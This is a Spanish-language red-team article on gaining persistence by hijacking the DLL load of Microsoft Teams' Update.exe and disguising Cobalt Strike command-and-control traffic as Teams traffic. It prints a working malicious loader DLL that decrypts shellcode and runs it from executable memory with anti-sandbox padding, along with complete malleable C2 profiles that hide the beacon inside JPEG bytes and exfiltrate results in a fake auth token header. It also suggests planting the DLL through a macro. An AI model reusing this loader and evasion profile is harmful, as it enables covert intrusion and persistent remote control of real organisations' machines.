Aprovechando Microsoft Teams para persistir y ocultar el tráfico de Cobalt Strike
Tabla de contenidos
Introducción
En el transcurso de una operación, el Red Team obtiene acceso como usuario administrador local a una estación de trabajo en la cual se identifica la presencia de una solución EDR. En este escenario, el objetivo principal para continuar con el ejercicio pasa por desplegar un implante que permita persistir y acceder de forma remota al sistema comprometido. Tras explorar diferentes opciones, se identifica un binario de la instalación de Microsoft Teams vulnerable a DLL Hijacking.
En este artículo se explica cómo aprovechar esta situación para obtener persistencia a través de la ejecución de una DLL con un payload de Cobalt Strike. Por último, se detalla cómo hacer uso de los perfiles de Cobalt Strike para imitar el tráfico legítimo de Microsoft Teams a la hora de comunicarse con el C&C.
Persistencia de Cobalt Strike vía DLL Hijacking
Para trabajar cómodamente, se realiza un inventario del software instalado para posteriormente replicarlo en un entorno local. A continuación, se hace uso de Process Monitor para identificar aquellos procesos que intentan cargar DLLs desde rutas que no contienen dichas librerías. Para ello se aplican los siguientes filtros:
Column | Relation | Value | Action |
---|---|---|---|
Result | is | NAME NOT FOUND | Include |
Path | ends with | .dll | Include |
Tras aplicar estos filtros, se observa que el proceso “Update.exe” (32bits) intenta cargar la librería “CRYPTSP.dll” desde el directorio en el que se encuentra el propio ejecutable, mientras que en realidad se encuentra en C:\Windows\SysWOW64. Esto quiere decir que si se coloca una DLL en el mismo directorio que el ejecutable, la próxima vez que se inicie “Update.exe”, el proceso cargará esta librería e intentará hacer uso de alguna función que exporte.
Este ejecutable es un candidato ideal para la operación por diferentes motivos:
- Se trata de un gestor de actualización de aplicaciones (Squirrel), presente en la instalación de múltiples productos (Teams, Slack, Discord, Webex). En este caso, es parte de Microsoft Teams, por lo que está firmado por Microsoft.
- Se ejecuta cada vez que el usuario inicia la aplicación.
- En una instalación por defecto, existe una clave Run en el registro de Windows, por lo que se ejecuta de forma automática cada vez que el usuario inicie sesión.
- Realiza conexiones HTTP periódicas a Internet, por lo que es perfecto para camuflar la comunicación con un C&C.
Una vez seleccionado el objetivo, se necesita implementar una DLL que ejecute el código malicioso: en este caso, un payload de Cobalt Strike. Para la presente prueba de concepto, se analiza el flujo de ejecución del binario para averiguar cual es la primera función de la DLL que es ejecutada y poder implementarla. Otra forma de desarrollar la librería sería creando un wrapper mediante técnicas de DLL Proxying.
Para comprobar cuál es la primera función de “CRYPTSP.dll” que invoca “Update.exe”, se ejecuta el binario a través de un debugger colocando breakpoints en todas las funciones importadas.
Como se puede ver en la imagen anterior, “Update.exe” llama a CryptAcquireContextW()
, por lo que el Red Team desarrolla una librería que exporta dicha función. En ella, se implementa un «loader» que se encarga de recuperar el payload en formato “raw” (shellcode) de Cobalt Strike de disco y ejecutarlo.
extern "C"{ void __declspec(dllexport) CryptAcquireContextW() { char payload[PSIZE]; // Mutex management HANDLE hMutex = CreateMutex(NULL, FALSE, TEXT("WindowsProc")); if (hMutex != NULL) if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(1); // Garbage math operations stale(); // Recover payload from file if(decrypt_shellcode_from_file(payload, PAYLOAD_PATH) == SUCCESS){ // Launch Teams.exe execute_Teams(); // Shellcode execution HANDLE hFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL); LPVOID lpMapAddress = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, sizeof(payload)); memcpy((PVOID)lpMapAddress, payload, sizeof(payload)); __asm { mov eax, lpMapAddress push eax; ret } } ReleaseMutex(hMutex); CloseHandle(hMutex); } }
En este caso, la función exportada realiza las siguientes acciones:
- Se crea un Mutex para que, en caso de que ya se hubiese ejecutado el payload, no continúe la ejecución.
- Se invoca la función
stale()
para evadir algunas comprobaciones de Machine Learning y Sandboxing. - Obtiene y descifra la shellcode almacenada en un fichero.
- De forma normal Update.exe ejecuta Teams.exe, por lo que la función también lo ejecuta.
- Por último, se ejecuta la shellcode utilizando la técnica
CreateFileMapping
+MapViewOfFile
+memcpy
.
Camuflando la comunicación con el C&C
Debido a las restricciones del entorno, en el que solo se permite la comunicación hacia Internet con dominios de Microsoft, se hace uso de la técnica conocida como Domain Fronting en conjunción con perfiles personalizados de Cobalt Strike. Estos perfiles proporcionan un mecanismo flexible para construir el formato de las peticiones y respuestas HTTP empleadas en la comunicación con el C&C. Aprovechando esta característica, se define un perfil que simula el tráfico HTTP generado por Microsoft Teams, imitando el contenido de peticiones y respuestas legítimas.
En este caso, se hace uso de un payload de tipo “Staged”, en el que podemos diferenciar dos partes: el “stager” y el “stage”. El primero, más pequeño, es el responsable de obtener el “stage” del C&C: una DLL que contiene toda la lógica del agente (“beacon” en términos de Cobalt Strike) y que será cargada en memoria de forma reflexiva. Al hacer uso este tipo de payload, podemos distinguir 3 flujos de comunicación con el C&C:
- Petición inicial para obtener la DLL de Cobalt que se cargará de forma reflexiva.
- Petición del implante para obtener tareas.
- Petición del implante para enviar el resultado de una tarea.
Stager: obtención del beacon de Cobalt Strike
La obtención del beacon se define en la sección http-stager del perfil. En este caso la petición del cliente simula la lectura de una imagen, haciendo uso de cabeceras propias de Teams. Como respuesta, recibirá contenido aparentemente legítimo, dentro del cual se introduce la DLL del beacon. Para ello se encapsula con una cabecera JPEG válida, así como se añaden los bytes finales.
http-stager { set uri_x86 "/v1/objects/0-neu-d10-ccab474e582c03325f9f07ba8a3aae8a/views/imgo"; set uri_x64 "/v1/objects/0-neu-d10-cdab424e592c03253f9f07ba8d9aae8a/views/imgo"; client { header "Host" "<Endpoint Azure>"; header "x-mx-client-version" "27/1.0.0.2021020410"; header "Origin" "https://teams.microsoft"; parameter "v" "1"; } server { header "Server" "Microsoft-IIS/10.0"; header "strict-transport-security" "max-age=31536000; includeSubDomains"; header "X-Powered-By" "ARR/3.0"; header "X-Content-Type-Options" "nosniff"; header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency" "40018.2038"; header "Timing-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Credentials" "true"; header "Connection" "close"; header "Content-Type" "image/jpeg"; output { prepend "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xFF\xDB\x00\x43\x00"; append "\xF9\x7C\xF3\x4E\x3F\xEC\x7F\x82\x8C\xA4\xB5\x5B\x3E\x64\x11\xE7\xEA\x78\x70\xCD\x6B\xFE\x0E\x1F\xFF\xD9"; print; } } }
De esta forma, herramientas como Wireshark identificarán el contenido de la respuesta HTTP como una imagen JPEG.
Beacon: obtención de tareas
Esta parte del perfil define el formato de la petición periódica en la que el agente de Cobalt consulta la existencia de nuevas tareas a ejecutar. Esta petición utiliza el parámetro GET “events” para codificar en base64 información de la sesión. Al igual que en el primer ejemplo, la información codificada por parte del servidor se introduce dentro del cuerpo de una respuesta aparentemente legítima.
http-get { set uri "/Collector/2.0/settings/"; client { header "Accept" "json"; header "Host" "<Endpoint Azure>"; header "Referer" "https://teams.microsoft.com/_"; header "x-ms-session-id" "f73c3186-057a-d996-3b63-b6e5de6ef20c"; header "x-ms-client-type" "desktop"; header "x-mx-client-version" "27/1.0.0.2021020410"; header "Accept-Encoding" "gzip, deflate, br"; header "Origin" "https://teams.microsoft.com"; parameter "qsp" "true"; parameter "client-id" "NO_AUTH"; parameter "sdk-version" "ACT-Web-JS-2.5.0&"; metadata { base64url; parameter "events"; } } server { header "Content-Type" "application/json; charset=utf-8"; header "Server" "Microsoft-HTTPAPI/2.0"; header "X-Content-Type-Options" "nosniff"; header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency" "40018.2038"; header "Access-Control-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Credentials" "true"; header "Connection" "keep-alive"; output { netbios; prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/"; append "/events/poll?cursor=1613554385&epfs=srt&sca=4}"; print; } } }
Beacon: envío de resultados
Por último, en el bloque “http-post” se especifica el contenido de la petición en la que el agente envía el resultado de una tarea al C&C. En este caso, el output se envía en la cabecera HTTP “Authentication” simulando ser el token de autenticación JWT.
http-post { set verb "GET"; set uri "/users/8:orgid:b1a28-a1c3-3d54-4eb01adb1/endpoints/events/poll"; client { header "Accept" "json"; header "Host" "<Endpoint Azure>"; header "Referer" "https://teams.microsoft.com/_"; header "x-ms-query-params" "cursor=1613554385&epfs=srt&sca=5&activeTimeout=135"; header "x-ms-client-type" "desktop"; header "x-mx-client-version" "27/1.0.0.2021020410"; header "Accept-Encoding" "gzip, deflate, br"; header "Origin" "https://teams.microsoft"; output { base64; prepend "skypetoken=eyJhbGciOi"; header "Authentication"; } id { netbios; prepend "f73c3186-057a-d996-3b63-"; header "x-ms-session-id"; } } server { header "Content-Type" "application/json; charset=utf-8"; header "Server" "Microsoft-HTTPAPI/2.0"; header "X-Content-Type-Options" "nosniff"; header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency" "40018.2038"; header "Access-Control-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Credentials" "true"; header "Connection" "keep-alive"; output { netbios; prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/"; append "/events/poll?cursor=1613554385&epfs=srt&sca=4}"; print; } } }
Conclusión
En este artículo, se ha visto cómo un atacante puede aprovecharse de un servicio vulnerable a DLL Hijacking para poder ejecutar código malicioso a través de un binario firmado, imitando el tráfico de la aplicación legítima para minimizar la posibilidad de que éste sea detectado.
Cabe destacar que esta técnica puede ser útil en ejercicios de ingeniería social, en los que sería suficiente desplegar la DLL maliciosa a través de una macro en el directorio de una aplicación que utilice este gestor de actualizaciones, sin necesidad de inyectar o ejecutar ningún payload directamente.